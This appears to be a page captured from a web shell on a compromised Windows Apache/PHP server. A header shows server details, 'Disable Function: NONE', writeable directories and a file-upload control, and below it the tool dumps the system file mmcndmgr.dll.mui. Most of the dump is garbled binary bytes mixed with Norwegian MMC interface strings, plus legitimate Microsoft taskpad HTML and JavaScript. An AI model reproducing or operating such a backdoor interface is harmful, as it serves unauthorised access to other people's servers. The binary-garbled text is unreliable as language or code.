KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT SERVER-PC 10.0 build 26200 (Windows 11) AMD64
User : ServerPC ( 0)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  C:/Windows/SysWOW64/nb-NO/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : C:/Windows/SysWOW64/nb-NO/mmcndmgr.dll.mui
MZ����@���	�!�L�!This program cannot be run in DOS mode.

$A[=�:S�:S�:S�|���:S�|�Q�:S�Rich:S�PEL�����!&�

�@ ��8.rdata�@@.rsrc�� �@@����
lPP����$����8.rdata8.rdata$voltmdP�.rdata$zzzdbg �.rsrc$01�/��.rsrc$02 `��G.��-��
�vL��
������8�P���0�H�p�%k��l����������������0��H��`��x��� ��!��#��.��0�2 �38�4P�5h�8��9��:��;��<��=��>�?(�A@�BX�Ip�J��K��[��p��v������T0�UH�V`�Wx�X��Y��Z��[��\��]�^ �_8�`P�ah�b��c��d����������0��(8HXhx��������		(	8	H	X	h	x	�	�	�	�	�	�	�	�	

(
8
H
X
h
x
�
�
�
�
�
�
�
�
(8HXhx�������D,��-���-���/z� 1�02*�\5(��6��`9��8:��4<T��B��IH�\L��4P���T��xW��<Z��4\L��^��\a�ld*��gH��i��j���m4��p���tR�v � z���~:� �z�����`����P�4���������Ȓ��������4�����X�N�������
���h��������<����B�P��X���T���������ȴH���������t'���X
�T�+�MUI
CTPCOMMON.HTM	VIEWS.HTMVIEWS.JS����p.E#�c�+��=I%��:9��
݊�u�I,\f���MUInb-NO���Ȁ�OmMS Shell DlgP�j2���OKP		�������P5�@���D!P4�3A�����H�H��OppgaverMS Shell DlgPz�������&Vis disse oppgavene:
�P���SysListView32List3P�:����N&y...PE�:����&FjernP��:����&Endre...P�A����Flytt &oppP�#A����Flytt &ned��H�X=�Sett inn ActiveX-kontrollMS Shell DlgPd�������&Kontrollkategori:P�P�ComboBoxEx32Custom1P!X�������K&ontrolltype:�@�P.V�SysListView32List1PA��H�X=�Sett inn ActiveX-kontrollMS Shell DlgPs��������&Egendefinert navn for snapin-modulen ActiveX:��Ps�������H�X=�Kobling til webadresseMS Shell DlgPsY��������Bane eller &URL-adresse:��Psg�����Psz:���&Bla gjennom...Ps&�-�������Snapin-modulen Kobling til webadresse best�r av en MMC-node med en webside i resultatvisningen. Skriv inn banen eller URL-adressen til omr�det du vil vise, eller klikk Bla gjennom.Ps����Velkommen til veiviseren for kobling til webadressePA��H�X=�Kobling til webadresseMS Shell DlgPs��������&Egendefinert navn for snapin-modulen Kobling til webadresse:��Ps�������H�@=�Sett inn ActiveX-kontrollMS Shell DlgPs����Velkommen til veiviseren for innsetting av ActiveX-kontrollPs(�8�������Snapin-modulen ActiveX best�r av en MMC-node med resultatvisning som inneholder en ActiveX-kontroll. Denne veiviseren hjelper deg med � velge og konfigurere kontrollen.Psh��������Klikk p� Neste for � fortsette.PA��@�@��GenereltMS Shell DlgP
�����Ingen egenskaper er tilgjengelig for dette objektet.���Ȁ�2��Legg til en frittst�ende snapin-modulMS Shell Dlg݁�P�xSysListView32List1P��2���L&egg tilP��2���&LukkP��������Tilgjengelige frittst�ende snapin-moduler:P��1�������BeskrivelseD!P
��$�������Ȁ�Legg til eller fjern snapin-modulMS Shell DlgP��������Du kan velge snapin-moduler for denne konsollen fra de som er tilgjengelige p� datamaskinen, og konfigurere det valgte snapin-modulsettet. Du kan ogs� konfigurere hvilke utvidelser som er aktivert, for utvidbare snapin-moduler.P��������Tilgjengelige &snapin-moduler:݁�P(��MSysListView32AvailableSnapinsListP�o+����&Legg til >@�~V���Overor&dnet snapin-modul:1@�(QTComboBoxEx32P�N���&Valgte snapin-moduler:M@�P�(�OSysListView32AddedSnapinsListPa(XP���&Rediger utvidelser...Pa:XS���&FjernPaTXQ���Flytt &oppPafXR���Flytt &nedPa�XZ���&Avansert...P���������Beskrivelse:�P��!����PQ�2���OKP��2���Avbryt���Ȁ:Velg utvidelserMS Shell DlgP�$�������Du kan angi hvilke utvidelser som skal aktiveres, for � legge til eller fjerne funksjonalitet i konsollen, snapin-modulen, eller utvidelsen. Hvis ingen utvidelse er installert kan du installere den ved � markere den og deretter klikke Installer. 	P.�
]���&Alltid aktiver alle tilgjengelige utvidelser	PW�
^���Aktiver bare &valgte utvidelserP8��������Alle tilgjengelige utvidelser, inkludert de som installeres senere, vil bli aktivert.Pa��������Bare de valgte utvidelsene vil bli aktivert. Utvidelser som installeres senere vil ikke bli aktivert.]@�P��W�SysListView32Liste over utvidelserPn�2����&InstallerP��XP���&Rediger utvidelser...P���������Beskrivelse:D�X��!����P�%2���OKP�%2���Avbryt��H�H�Frittst�endeMS Shell DlgP��,�������BeskrivelseP!<�������&Snapin-moduler som er lagt til:PI �Q�ComboBoxEx32Custom1@� ���StaticI@�P7�^�SysListView32List1D!P
��!����P��������Bruk denne siden for � legge til eller fjerne en frittst�ende snapin-modul fra konsollen.P�2����&Legg til...P?�2����&FjernPw�2����&Om...P������H���UtvidelserMS Shell DlgP��������Bruk denne siden for � aktivere snapin-modulutvidelser. Marker avmerkingsboksen ved siden av snapin-moduler du vil legge til.P�
����&Snapin-moduler som kan utvides:P'�<�ComboBoxEx32Custom1P
9�
����Legg til &alle utvidelserPGd	����Tilgjengelige &utvidelser:Y@�PP�@�SysListView32List2P�2����&Om...P��,����BeskrivelseD!P
��!����P����P@�2����&Last nedPA��H�H��GenereltMS Shell DlgP	:�������&Navn:��PD�����P:�������&Beskrivelse:��PD�����P/n�������Stil for resultatvisningen:	%P<V
3���&Loddrett liste	%PJ_
4���&Vannrett liste	%PX4
5���&Ingen liste Pf[B���Skj&ul standardkategoriP{w�������Stil for oppgavebeskrivelser:	%P�d
7���Te&kst	%P�s"6���Inf&otips (viser oppgavebeskrivelse i et popup-vindu ved peking p� oppgaven)P�F�������Liste&st�rrelse:!PP�:88���P�/mJ�������P�}i4����StaticP��7����&Alternativer...���Ȁ��Alternativer for oppgaveblokkMS Shell DlgP�A�������Bruk denne oppgaveblokkvisningen p�:	%P
�
2���&Valgt treelement	%P
%�	 ���&Alle treelementer som er av samme typen som det valgte treelementet%P5�
!���&Gj�r dette til standard oppgaveblokk for disse treelementene P��2���OKP��2���Avbryt���ȀZ�Legg til / fjern kolonnerMS Shell DlgP]�������&Tilgjengelige kolonner:�PZv����Pe,<����&Legg til ->Pe><����<- &FjernP�]�������&Viste kolonner:�P�Zv����PP����Flytt &oppP#P����Flytt &nedP;P����&Bruk standardP�L�������P��2���OKP!�2���Avbryt���Ȁ=�Veiviser for ny oppgaveMS Shell DlgPl����Velkommen til veiviseren for ny oppgavePl��������Denne veiviseren hjelper deg � opprette en oppgave for denne oppgaveblokken.Pl8��������Klikk p� Neste for � fortsette.PA���Ȁ=�Veiviser for ny oppgaveMS Shell DlgP"P����&Oppgavenavn:��Ph �����P�������Beskrivelsen vises i oppgaveblokken eller som et infotips, avhengig av hvilket alternativ som ble valgt for oppgaveblokkvisningen.P2P�������B&eskrivelse:D�Ph0�$"������Ȁ=�Veiviser for ny oppgaveMS Shell DlgP�������Pm�������	Pl
G���Ikoner som tilbys av &MMC:	PhZ
F���&Egendefinert ikon��P!
�8SysListView32List1P"IKI���Ikon symboliserer:PpI�����P"UKH���Alternativ betydning:PpU�����P"tJ���P%wE���PFz@C���Bla gjenn&om...PA���Ȁ=�Veiviser for ny oppgaveMS Shell DlgP^����K&ommando:��P$�����P�#2����Bl&a gjennom...P4V����&Parametere:��P>������P�=����PNE����&Start i:��PX�����P�W2����Bla gj&ennom...PhE����&Kj�r:!Pr������P�������Angi banen og kommandoen, kommandolinjeparametere, og andre alternativer.PA���Ȁ=�Veiviser for ny oppgaveMS Shell DlgPG�������&Kommandokilde:!Pa�79���P:���Menykommandoen du velger, kan brukes p� alle elementene i detaljruten. N�r du kj�rer oppgaven, m� du velge elementet du vil bruke den p�.P0-?���&Treelement:#�P:�T�SysTreeView32P�0Z����Tilgjengelige k&ommandoer:�P�:�T����MP�P:�TSysListView32List1PA���Ȁd��KommandolinjeMS Shell DlgPX����K&ommando:��P�����P�2����Bl&a gjennom...P!\����&Parametere:��P+������P�*����P;f����&Start i:��PE�����P�D2����Bla gj&ennom...PUz����&Kj�r:!P_���������Ȁ��GenereltMS Shell DlgP	A����&Oppgavenavn:��PK�����PA�������B&eskrivelse:D�PK�$"������Ȁ��OppgaveikonMS Shell DlgP��������P���������	Pu
G���Ikoner som tilbys av &MMC:	P�X
F���&Egendefinert ikon��P�xSysListView32List1P�KI���Ikon symboliserer:Pd������P�KH���Alternativ betydning:Pd������P�J���P�E���P9�@C���Bla gje&nnom...PA���Ȁ=�Veiviser for ny oppgaveblokkvisningMS Shell DlgPs����Velkommen til veiviseren for ny oppgaveblokkvisningPs(������Denne veiviseren hjelper deg � opprette en oppgaveblokkvisning for et treelement i denne konsollen.Psh������Klikk p� Neste for � fortsette.Ps@� �����Oppgaveblokkvisninger vises i resultatruten til en konsoll, og viser snarveier til kommandoer.���Ȁ=�Veiviser for ny oppgaveblokkvisningMS Shell DlgP|�������Stil for resultatvisningen:	%PV
3���&Loddrett liste	%P#_
4���&Vannrett liste	%P14
5���&Ingen listeP?�
B���Skj&ul standardkategoriP�Ui4����StaticPN_�������Stil for oppgavebeskrivelser:	%P\d
7���Te&kst	%Pj�6���Inf&otips (viser beskrivelse i et popup-vindu ved peking p� oppgaven)P�F�������Liste&st�rrelse:!P^�:88���P�mJ�������PA���Ȁ=�Veiviser for ny oppgaveblokkvisningMS Shell DlgP6�������N&avn:��PQ�����P(7�������B&eskrivelse:��PQ&�����P������� PA���Ȁ
��Tilpass visningMS Shell DlgP�K���Marker eller fjern avmerkingsboksene for � vise eller skjule elementer i konsollvinduet.P�o_���MMCP
*�
/���&KonsolltreP
8�
0���Standardmenyer (Handling &og Vis)P
F�
+���St&andardverkt�ylinjeP
T�
-���&StatuslinjeP
b�
.���&BeskrivelseslinjeP
p�
1���&Navigasjonsfaner i oppgaveblokkP
~�
L���&HandlingsruteP��*`���Snapin-modulP
��
*���&MenyerP
��
,���&Verkt�ylinjerP��2���OK���Ȁ
=�Veiviser for ny oppgaveblokkvisningMS Shell DlgP�������Velg titteltypen du �nsker:	$P2����B&ane	$P9J
����&Egendefinert tittel	$PTR
����&Ingen tittelP^p�������Niv�er av banen som skal &vises:� �P�
���6P��msctls_updown32��Pq9����Pu	�������EksempeltittelP�����P!#��������Viser banen til det valgte elementet. Oppgaveblokktittelen avhenger av elementet som oppgaveblokken brukes p�.P!G��������Viser tittelen du oppretter. Virker best for frittst�ende oppgaveblokker.P!b�������Viser ikke en tittel.PA���Ȁ=�Veiviser for ny oppgaveMS Shell DlgP�������Velg kommandotypen du vil bruke for denne oppgaven.	P�
���&Menykommando	P0�
���&Skallkommando	PK�
;���Na&vigasjonP!!��������Kj�r en kommando fra en meny.P!<��������Kj�r et skript, start et program eller �pne en webside.P!W��������Naviger til en oppgaveblokk for et treelement i MMC-favorittlisten.PA����@=�Veiviser for ny oppgaveMS Shell DlgPs����Fullf�rer veiviseren for ny oppgavePs ��������Veiviseren for ny oppgave er fullf�rt.Ps8��������&Oppgaver p� oppgaveblokken:�PsB�U�SysListView32List3$Ps��
���&Kj�r denne veiviseren p� nytt n�r jeg klikker Fullf�rHk:����Ny...H):����FjernH8:����EndreHY2����Flytt oppHH2����Flytt nedPu��
������� PA����@=�Veiviser for ny oppgaveblokkvisningMS Shell DlgPs����Fullf�rer veiviseren for ny oppgaveblokkvisningPs(�!�������Veiviseren for ny oppgaveblokkvisning er fullf�rt.$PsY�����&Legg til nye oppgaver i denne oppgaveblokken n�r veiviseren lukkes Pss��������Klikk Fullf�r for � lukke veiviseren.Ps?�������� PA���Ȁ=�Veiviser for ny oppgaveblokkvisningMS Shell DlgP�����Velg om denne oppgaveblokkvisningen bare skal gjelde for gjeldende treelement, eller for alle treelementer av denne typen.	%P3
2���&Valgt treelement	%PC
 ���&Alle treelementer er av samme typen som det valgte treelementet%P!S
!���&Gj�r dette til standard oppgaveblokk for disse treelementeneP#������Bruk denne oppgaveblokkvisningen p�:���Ȁ=�Veiviser for ny oppgaveMS Shell DlgP�������Velg favorittelementet du vil vise i resultatruten. H!�h=���P4�������&Favoritter:���Ȁ,IAvansertMS Shell DlgP�������Snapin-moduler legges til under konsollrotnoden som standard. Avmerking av denne avmerkingsboksen lar deg velge den overordnede snapin-modulen for nye snapin-moduler.P%
\���&Tillat endring av overordnet snapin-modulP�52���OKP�52���Avbryt���Ȑ�DVenter p� snapin-modul...MS Shell DlgP�t���P�umsctls_progress32X�/2���Avbryt���Ȑ	��Ubehandlet unntak i snapin-modul for forvaltet kodeMS Shell Dlg
P	q����P&�r����P&�w���P'��������P,A�������Unntakstype:�P8�x���PHU�������Stakksporing av unntak:��PT�2y���P��2���OK
%1:  P�g�r...%1:  p�g�r...|%%%2!d!%1:  %3%1:  %3|%%%2!d!%1:  %2%1!d! oppgaver p�g�r...	Fullf�rt.PAFullf�rt med feil.Microsoft Management Console2Venter p� at alle snapin-moduler skal fullf�res...�En eller flere snapin-moduler svarer ikke.


Klikk Avbryt for � fortsette � vente til snapin-modulene fullf�res.

Hvis du velger � avslutte snapin-modulens n�, vil du miste alle ulagrede data. Klikk OK for � avslutte snapin-modulene n�.Avslutt snapin-modulerUnder bearbeidelse/Hindring, beta, bearbeidelse, stopp, advarsel  Tilgang, tillatelserN�kler, sikkerhetLegg tilKnappVarsleOverv�k, advarselSikkerhetskopiB�nd, minne, lagerArbeid p�g�r, s�ppelToalett, avinstallerSlett, lukk(Knapp, deaktiver, avinstaller, koble fra	Komprimer'Verkt�y, skrutvinge, klemme, skrustikke
Datamaskin$Klient, prosessor, frakoblet, skjermTilkoblet brukerBruker, nettverk, delt ressursdatabaseSylinder, databaseKlokkeTidsplan, klokkeslett	DiskspeilHarddiskRediger*Dokument, fil, liste, blyant, gi nytt navnE-postAdresse, brev, postDistribusjonsliste for e-postE-postgruppeFaksDokument, fil, telefon
Faksjobber$Dokument, fil, telefon, jobb, jobberDokumenter, filer
Dokument, filFiler og mapperDokument, fil, beholder, mappePAMapperBeholder, mappe, �penSlett, formaterStasjon, viskel�rHarddiskEkstern, stasjon 
MaskinvarePCI-kort, oppgraderingB�rbar datamaskinDatamaskin, tastatur, skjerm	InternettInternett, Web, klode, verdenModemTelefonModemutvalgModemPAFlytt
Pil, flytt...Spill avKnapp, startPassord%Tilgang, n�kkel, skjerm, angi passordPauseKnapp, gjenopptaTilkoblede brukereBruker, nettverk, delt ressursSkriverDokument, fil, skriv up
SkriverjobberSkriver, jobb, jobberPubliserNettverk, delt ressursPA
Avbryt, fjernKnapp	RapporterLogg, notisblokk, vis rapporterOpprett en plan&Sjekkliste, inventar, blyant, oppgaverFjern mediumCD, disk, Zip-disk'Produktsymbol for Small Business Server	Finn, s�k*Utforsk, Forst�rrelsesglass, s�k etter... 	SikkerhetL�sMotta, send
Pil, oppdaterEgenskaper, innstillingerSkjerm  
NedlastingPilDelte mapperBeholder, mappeMusKlikkProgramvare'CD, disk, diskett, minne, lagringsplassTabellKalenderB�ndstasjonB�nd, minne, lagerHjelp, feils�k
Dokument, filUtvid, dekomprimerVerkt�y, klemme, skrutvingeProduktsymbol for BackOffice
OpplastingPil, oppBrukerPersonGruppeBrukere, personerVisning, visSkjermStoppKnappInstallasjon
Hammer, CDInformasjon, varslingMeldingEndre medlemskap i gruppeBrukere, pilS�k i database&S�k, finn, sp�rringsanalysator, server
InnholdslisteMinne, lagringsplassKontroller pakke/Adresse, finn, etikett, forst�rrelsesglass, s�kTidsplanDato, blyant, kalenderPAKobling, snarveiKnappBellRing, tjenesteGruppertBrukere, grupper, pil
SkrivebordBlyant, skriveServer
DatamaskinInstallasjonCD, CD-ROM, lagringsplassPA	Tjenester2Gir, automatiser administrative oppgaver, tannhjulElektroniske b�ker+Hjelp, hjelp p� Internett, delt publikasjonKonfigurer replikeringPil, bok, publikasjonOpprett en jobbServer, jobb, jobberKode*Opprett en lagret prosedyre, dokument, filProgramvindu*Nytt vindu herfra, opprett visning, skjermImporterPil, sett inn, trekk abonnement	EksporterPil, l�s ut, skyv abonnementS�k i database2Finn, forst�rrelsesglass, sp�rringsanalysator, s�k	hovedemnePublikasjon	DatabaserTilpass, fininnstill,Verkt�y, fininnstill en indeks, skiften�kkelSikkerhetskopi7Pil, sikkerhetskopidatabase, minne, lagringsplass, b�nd
MMC-symbol!Produktsymbol for Exchange Server&Produktsymbol for Team Central Server Produktsymbol for Proxy ServerProduktsymbol for Site Server+Produktsymbol for Systems Management ServerProduktsymbol for SNA ServerProduktsymbol for SQL ServerInnboksFiler, beholderFullf�rtFullf�rt, ferdig, flagg, vinnerAvSl� avP�Sl� p�
Vis ytelse%Ytelsesgraf, grafkontroll, overv�king
Start p� nyttKnappNettverkstilkoblingKabel, nettverkTilgjengelighetLikedan, skjermKoffert"Beholder, lagringsplass, frakobletKameraFang, ta bilde, tilbeh�r
SertifikatLisens	Komponent
PuslespillUtgifterPAPengerHjemmeHouseMIDITangenter, musikk, pianoNettverkstilgang/Nettverk, delt ressurs, ruter, hub, forbindelseNyKnapp, gnistNyheterArtikkel, avisProduktsymbol for OutlookOmr�deBygning	Disketter%Lagre, lagre som, disk, lagringsplassPA
StormaskinHender som hilserEnighet, hender, fred-Produktsymbol for Internet Information ServerVeiviserTrapper, trinnSlett, lukk(Knapp, deaktiver, avinstaller, koble fraKontroller serverYtelse, skjerm, s�kGjenopprett)Data, gjenopprett database, lagringsplassKlyngeFailover, serverKuberOlap-konsepter	hovedemneDSS-oppl�ring, publikasjonKube
DSS tilkobletGir=Tannhjul, importer/eksporter med DTS, tjeneste, innstillinger	Registrer0Adresse, sjekkliste, brev, post, blyant, oppgave	EksporterPil, eksporter med DTSPA�4VS_VERSION_INFO��
��e
��e?�StringFileInfo�041404B0LCompanyNameMicrosoft CorporationXFileDescriptionMMC nodebehandlings-DLLn'FileVersion10.0.26100.5074 (WinBuild.160101.0800):
InternalNamemmcndmgr.dllp&LegalCopyright� Microsoft Corporation. Med enerett.JOriginalFilenamemmcndmgr.dll.muij%ProductNameOperativsystemet Microsoft� Windows�DProductVersion10.0.26100.5074DVarFileInfo$Translation�<!--NOTE: this file is expected to be ANSI - do not add any localizable strings to it !!! -->
<HTML>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<style>
    body        {margin:0; font: clientTop:0; icon; color: windowtext; background:window; overflow:none}
    .cInline    {
                display:inline; width:@@TASKWIDTH@@;
                margin-right:5px;
                vertical-align:top;
                }
    BottomPanel {overflow:auto}
    #FolderIcon {height:expression(TaskpadName.clientHeight + 10); width:100%;}
    #TaskpadName {font: caption; color:captiontext;  margin-left:0; margin-right:0; margin-top: 0; width:100%; border:0; padding-left:3; padding-top:5; padding-bottom:7;}
    #TaskpadDescription {font:icon; padding-left:5px; padding-top:5px; padding-bottom:3px; padding-right:5px}
    p           {font-weight:normal; border:0; margin-top:0}
    table       {font:icon; border:0 solid; padding:0; margin:0;}  <!--cellpadding and cellspacing only apply to table, but are NOT CSS attributes. Set them on a per-tag basis -->
    tr          {margin:0; border:0; padding:0}
    td          {margin:0; border:0 solid; padding:0}
    div         {border:0; margin:0; padding:0; }

    .Task       {color:expression(document.linkColor); text-decoration:underline; cursor:hand;}
    .TaskHover  {color:expression(document.linkColor); text-decoration:underline; cursor:hand;} <!-- Cannot use the user's hover color because once a link has been visited, the hover color never appears. So it is better
                                                             to be consistent than correct only part of the time -->
</style>
</head>

<!--update the task states for all appropriate events -->
<script language="JavaScript" for="MMCEvents" EVENT="OnSelectionChange(V, N)">UpdateState();</script>
<script language="JavaScript" for="MMCEvents" EVENT="OnContextMenuExecuted(MI)">UpdateState();</script>
<script language="JavaScript" for="MMCEvents" EVENT="OnViewChange(V, N)">UpdateState();</script>
<script language="JavaScript" for="MMCEvents" EVENT="OnToolbarButtonClicked()">UpdateState();</script>
<script language="JavaScript" for="MMCEvents" EVENT="OnListUpdated(V)">UpdateState();</script>

<script language = "JavaScript">

// Prevent text from being selected and messing up the UI.
function document.onselectstart()
{
    event.returnValue = false;
}

var reColumnPattern=/\$COL<([^>]+)>/;
var reNamePattern=/\$NAME<([^>]+)>/;
var reClipFmtPattern=/\$CLIPFMT_DATA<([^>]+)>/;
var regExpClipFmt = /(.*),(.*)/;

function GetCommandLineTaskState(s)
{
   var iCol, iName, iClip, nName, nCol, cCol;

   var Columns = external.Columns;

   var bEnabled = true; // enabled by default

   while (true) // search for COL tags
   {
      iCol  = s.search(reColumnPattern);
      if(iCol==-1) // no more $COL tags
         break;

      nCol=parseInt(RegExp.$1) + 1; // in console taskpads, the column is zero based. Convert it to one-based here.

      cCol = Columns.count;

      // make sure the column exists
      if(cCol < nCol)
         return false;

      // make sure the column is visible
      if(external.Columns(nCol).Hidden)
         return false;

      // must have exactly one item selected for command line tasks that contain column information
      if(external.Selection.count != 1)
         return false;

      s = s.substr(iCol+1); // skip to the next occurrence
   }

   while (true) // search for CLIPFMT tags
   {
      iClip = s.search(reClipFmtPattern);
      if(iClip==-1) // no more $CLIPFMT tags
         break;

      // Replace the clipfmt tags
      strRep = RegExp.$1; // the format at this point is item,format where item = r Or R for the current result item, 0 for the current scope item, 1 for the parent, and so on.
      strRep.search(regExpClipFmt);

      curItem  = RegExp.$1; // item

      if(curItem=='r' || curItem=='R')
      {
         if(external.Selection.count != 1)
            return false;
      }
      s = s.substr(iClip+1); // skip to the next occurrence
   }

   return true;
}

function UpdateState()
{
   try
   {
       var oObject   = document.all.tags("SPAN"); //get the collection of all hyperlinks on the page.
       var str       = "";
       var thisObject;
       var selectionmenu      = null;
       var scopemenu          = null;
       var menuItem  = null;
       var selection = external.Selection;
       var enabled   = false;
       var count     = selection.count;

       // get the scope node menu
       scopemenu = external.ScopeNodeContextMenu;

       // get the selection menu
       if(selection.Count != 0) // there is a selection
       {
          selectionmenu = external.SelectionContextMenu;
       }

       if(oObject != null)
       {
          for(i = 0; i!= oObject.length; i++)
          {
             thisObject = oObject(i);
             enabled = false;

             // set the state of result items
             if(thisObject.id == "ResultTask")
             {
                menuItem = null;
                if(selectionmenu != null)
                   menuItem = selectionmenu(thisObject.parameter); // see if the object exists

                if(menuItem != null)
                   if(menuItem.Enabled)
                      enabled = true;
             }

             else if(thisObject.id == "TargetTask") // set the state of target item tasks
             {
                menuItem = null;
                if(scopemenu != null)
                   menuItem = scopemenu(thisObject.parameter); // see if the object exists

                if(menuItem != null)
                   if(menuItem.Enabled)
                      enabled = true;
             }

             else if(thisObject.id == "CommandLineTask") // set the state of target item tasks
             {
                enabled = GetCommandLineTaskState(thisObject.parameter);
             }

             else // all other tasks are always available.
                enabled = true;


             // enable/disable the task based on the enabled state - the cInline object is displayed or hidden
             thisObject.parentNode.parentNode.parentNode.parentNode.parentNode.style.display = enabled ? ""  : "none" ;
          }
       }
   }
   catch(err)
   {
   }
}
</script>

<script language="JavaScript">

function GetNthParent(nNode)
{
   var curNode = external.ActiveScopeNode;

   for(i = 0; i != nNode; i++) // get the nth parent
      curNode = external.Document.ScopeNamespace.GetParent(curNode);

   return curNode;
}


/*+-------------------------------------------------------------------------*
*
* ParseParameters
*
* PURPOSE:     Performs parameter substitution. Substitute parameters are
*              specified as follows:
*              $COL[columnName]: Substitutes the entry under the column
*                      labelled columnName for the currently selected item.
*              $NAME[scopeNodeIndex]: Substitutes the name of the nth parent
*                      of the currently selected scope node. n=0 is the currently
*                      selected scope node itself.
*              $CLIPFMT_DATA[node,fmt]: Substitutes the clipboard format specified
*                      by fmt of the object specified by node, where node =
*                      r or R: The currently selected result item
*                      0, 1, 2...: The nth parent of the currently selected
*                      scope node
*
*
* NOTE:        The actual incoming parameters use angle braces, not square braces.
*              These are converted in a pre-process step to square braces because
*              jscript-xml interaction makes it difficult to use them here.
*
* RETURNS:
*    function
*
*+-------------------------------------------------------------------------*/
function ParseParameters(s)
{
   var t;
   var strRep;
   var strTemp = "";
   var re=/>/;
   var iCol, iName, iClip, nName, nCol;

   while (true) // search for COL tags
   {
      iCol  = s.search(reColumnPattern);
      if(iCol==-1) // no more $COL tags
         break;

      // Replace the column tags
      nCol = parseInt(RegExp.$1) + 1; // in console taskpads, the column is zero based. Convert it to one-based here.
      strRep = external.CellContents(external.Selection(1), nCol);
      strTemp = s.substr(0, iCol) + strRep;

      // move past the closing ">"
      s = s.substr(iCol);
      t = s.search(re);
      s = strTemp + s.substr(t+1);
   }

   while (true) // search for NAME tags
   {
      iName = s.search(reNamePattern);
      if(iName==-1) // no more $NAME tags
         break;

      // Replace the Name tags
      curNode = GetNthParent(RegExp.$1);

      strRep = curNode.Name;

      strTemp = s.substr(0, iName) + strRep;

      // move past the closing ">"
      s = s.substr(iName);
      t = s.search(re);
      s = strTemp + s.substr(t+1);
   }

   while (true) // search for CLIPFMT tags
   {
      iClip = s.search(reClipFmtPattern);
      if(iClip==-1) // no more $CLIPFMT tags
         break;

      // Replace the clipfmt tags
      strRep = RegExp.$1; // the format at this point is item,format where item = r Or R for the current result item, 0 for the current scope item, 1 for the parent, and so on.
      strRep.search(regExpClipFmt);

      curItem  = RegExp.$1; // item
      clipfmt  = RegExp.$2; // format

      if(curItem=='r' || curItem=='R')
         Node = external.Selection(1);
      else
         Node = GetNthParent(curItem);

      strRep = Node.Property(clipfmt); // get the clipboard format

      strTemp = s.substr(0, iClip) + strRep;

      // move past the closing ">"
      s = s.substr(iClip);
      t = s.search(re);
      s = strTemp + s.substr(t+1);
   }

   return s;
}
</script>


@@ORIENTATIONSPECIFICHTML@@

</HTML><html>

    <head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style>
        body        {margin: 0; font: icon; color: windowtext; background:window; overflow:none}
        span        {font:icon;}
        #FolderIcon {height:expression(TaskpadName.clientHeight + 10); width:100%;}
        #TaskpadName {font: caption; color:captiontext;  margin-left:0; margin-right:0; margin-top: 0; width:100%; border:0; padding-left:3; padding-top:5; padding-bottom:7;}
        #DisplayNameElem {font:icon; padding-left:5px; padding-top:5px; padding-bottom:3px; padding-right:5px}
        #Details    {padding-left: 12px; margin-top: 8px; overflow:auto}
        #DescriptionElem    {padding-left: 12px; margin-top: 8px; overflow-y:scroll; overflow:auto}
        A:visited   {color:expression(document.linkColor);}
        A:hover     {color:expression(document.linkColor);}
    </style>

    <script language="javascript">
        var L_strNoItemSelected_Text        = "Merk et element for å vise beskrivelsen.";
        var L_strDescription_Text           = "\nBeskrivelse:\n";
        var L_strMultipleItemsSelected_Text = "Flere elementer er valgt.";
    </script>
    
    <script language="javascript" src="views.js"></script>
    <script language="JavaScript" for="MMCEvents" EVENT="OnSelectionChange(V, N)">UpdateState();</script>
    <script language="JavaScript" for="MMCEvents" EVENT="OnContextMenuExecuted(MI)">UpdateState();</script>
    <script language="JavaScript" for="MMCEvents" EVENT="OnViewChange(V, N)">UpdateState();</script>
    <script language="JavaScript" for="MMCEvents" EVENT="OnToolbarButtonClicked()">UpdateState();</script>
    <script language="JavaScript" for="MMCEvents" EVENT="OnListUpdated(V)">UpdateState();</script>
    
    </head>

    <body scroll=no onload=OnLoad()>

        <DIV style="position:absolute; top:0; left:0">
			<TABLE WIDTH="100%" cellspacing="0" cellpadding="0" COLS="2">
				<TR>
					<TD><SPAN style="width:32px"></SPAN></TD>
                    <TD id="TaskpadName"></TD>
				</TR>
			</TABLE>
        </DIV>
        <TABLE WIDTH="100%" HEIGHT="100%" cellspacing="0" cellpadding="0" COLS="2">
            <TR>
                <TD id="LeftPanel" ROWSPAN="2" WIDTH="212px">
                    <object id='FolderIcon' classid="clsid:B0395DA5-6A15-4E44-9F36-9A9DC7A2F341" tabIndex='-1'></object>
                </TD>
                <TD ID="RightPanel" bgColor="activecaption" VALIGN="TOP" WIDTH="100%" style="height:expression(TaskpadName.clientHeight);">
                </TD>
            </TR>
            <TR>
                <TD HEIGHT="10"></TD>
            </TR>
            <TR>
                <TD>
                    <DIV id="DisplayNameElem">
                    </DIV>
                </TD>
                <TD height="100%"  ROWSPAN="2" id="ViewPanel"></TD>
            </TR>
            <TR>
                <TD HEIGHT="100%">
                    <DIV STYLE="overflow: auto; height:100%; padding-left:5; padding-right:5; word-wrap:break-word">
                        <SPAN id="DetailsElem"></SPAN>
                        <span id=DescriptionElem></span>
                    </DIV>
                </TD>
            </TR>
        </TABLE>
        <object id=MMCEvents classid="clsid:ADE6444B-C91F-4e37-92A4-5BB430A33340"></object>
    </body>
</html>

function OnLoad()
{
    ViewPanel.addBehavior("#default#mmcview");
    MMCEvents.ConnectTo(external.Document.Application);
    UpdateState();
}

// Prevent text from being selected and messing up the UI.
function document.onselectstart()
{
    event.returnValue = false;
}

function UpdateState()
{
    var strDetails     = "";
    var strDisplayName = "";
    var strDescription = "";
    var i;
    var curnode;
    var strNodeType;

    N = external.Selection;

    switch(N.count)
    {
    case 0:
        DisplayNameElem.style.fontWeight="normal";
        strDetails = "";
        strDisplayName = L_strNoItemSelected_Text;
        break;

    case 1:
        DisplayNameElem.style.fontWeight="bold";
        strDetails = "";
        curNode = N(1);

        // got the selected node
        strNodeType    = curNode.Nodetype;
        strDisplayName = external.CellContents(curNode, 1);
        strDescription = curNode.Property("CCF_DESCRIPTION");
        strDetails     = curNode.Property("CCF_HTML_DETAILS");

        break;

    default: // multiselect
        DisplayNameElem.style.fontWeight="normal";
        strDetails = L_strMultipleItemsSelected_Text;
        break;
    }

    TaskpadName.innerText = external.ActiveScopeNode.Name;
    TaskpadName.innerHTML = "<NOBR>" + TaskpadName.innerHTML + "</NOBR>";
    DisplayNameElem.innerText = strDisplayName;
